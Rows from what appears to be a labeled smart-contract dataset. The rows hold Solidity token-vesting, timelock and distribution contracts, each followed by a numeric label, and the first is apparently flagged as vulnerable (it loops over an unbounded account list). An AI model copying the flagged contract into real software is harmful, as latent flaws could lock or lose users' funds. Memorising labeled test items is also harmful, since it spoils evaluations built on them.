function ownerTransfer(address to, uint value)
public
onlyOwner
{
uint current_balance_all = 0;
for (uint i = 0; i < accounts.length; i++)
current_balance_all += account_data[accounts[i]].current_balance;
require(getBalance() > current_balance_all && value <= getBalance() - current_balance_all);
if (abx_token.transfer(to, value))
emit OwnerTransfer(to, value);
}
function updateCurrentPeriod()
public
{
require(account_data[msg.sender].original_balance > 0 || msg.sender == owner);
uint new_period = current_period;
for (uint i = current_period; i < periods.length; i++)
if (periods[i] > now)
{
new_period = i;
break;
}
if (new_period != current_period)
{
current_period = new_period;
for (i = 0; i < accounts.length; i++)
{
account_data[accounts[i]].current_transferred = 0;
account_data[accounts[i]].current_limit = account_data[accounts[i]].limit_per_period;
if (current_period == periods.length - 1)
account_data[accounts[i]].current_limit = 2**256 - 1;
}
emit CurrentPeriodChanged(current_period);
}
}
function transfer(address to, uint value)
public
{
updateCurrentPeriod();
require(value <= abx_token.balanceOf(this)
&& value <= account_data[msg.sender].current_balance
&& account_data[msg.sender].current_transferred + value <= account_data[msg.sender].current_limit);
if (abx_token.transfer(to, value))
{
account_data[msg.sender].current_transferred += value;
account_data[msg.sender].current_balance -= value;
emit Transfer(to, value);
}
}
} | 1 | 2,719 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.23;
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract InitialTokenDistribution is Ownable {
using SafeMath for uint256;
ERC20 public token;
mapping (address => TokenVesting) public vested;
mapping (address => TokenTimelock) public timelocked;
mapping (address => uint256) public initiallyDistributed;
bool public initialDistributionDone = false;
modifier onInitialDistribution() {
require(!initialDistributionDone);
_;
}
constructor(ERC20 _token) public {
token = _token;
}
function initialDistribution() internal;
function totalTokensDistributed() public view returns (uint256);
function processInitialDistribution() onInitialDistribution onlyOwner public {
initialDistribution();
initialDistributionDone = true;
}
function initialTransfer(address to, uint256 amount) onInitialDistribution public {
require(to != address(0));
initiallyDistributed[to] = amount;
token.transferFrom(msg.sender, to, amount);
}
function vest(address to, uint256 amount, uint256 releaseStart, uint256 cliff, uint256 duration) onInitialDistribution public {
require(to != address(0));
vested[to] = new TokenVesting(to, releaseStart, cliff, duration, false);
token.transferFrom(msg.sender, vested[to], amount);
}
function lock(address to, uint256 amount, uint256 releaseTime) onInitialDistribution public {
require(to != address(0));
timelocked[to] = new TokenTimelock(token, to, releaseTime);
token.transferFrom(msg.sender, address(timelocked[to]), amount);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BlockFollowInitialTokenDistribution is InitialTokenDistribution {
uint256 public reservedTokensFunctionality;
uint256 public reservedTokensTeam;
address functionalityWallet;
address teamWallet;
constructor(
DetailedERC20 _token,
address _functionalityWallet,
address _teamWallet
)
public
InitialTokenDistribution(_token)
{
functionalityWallet = _functionalityWallet;
teamWallet = _teamWallet;
uint8 decimals = _token.decimals();
reservedTokensFunctionality = 80e6 * (10 ** uint256(decimals));
reservedTokensTeam = 10e6 * (10 ** uint256(decimals));
}
function initialDistribution() internal {
initialTransfer(functionalityWallet, reservedTokensFunctionality);
initialTransfer(teamWallet, reservedTokensTeam);
}
function totalTokensDistributed() public view returns (uint256) {
return reservedTokensFunctionality + reservedTokensTeam;
}
} | 0 | 684 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.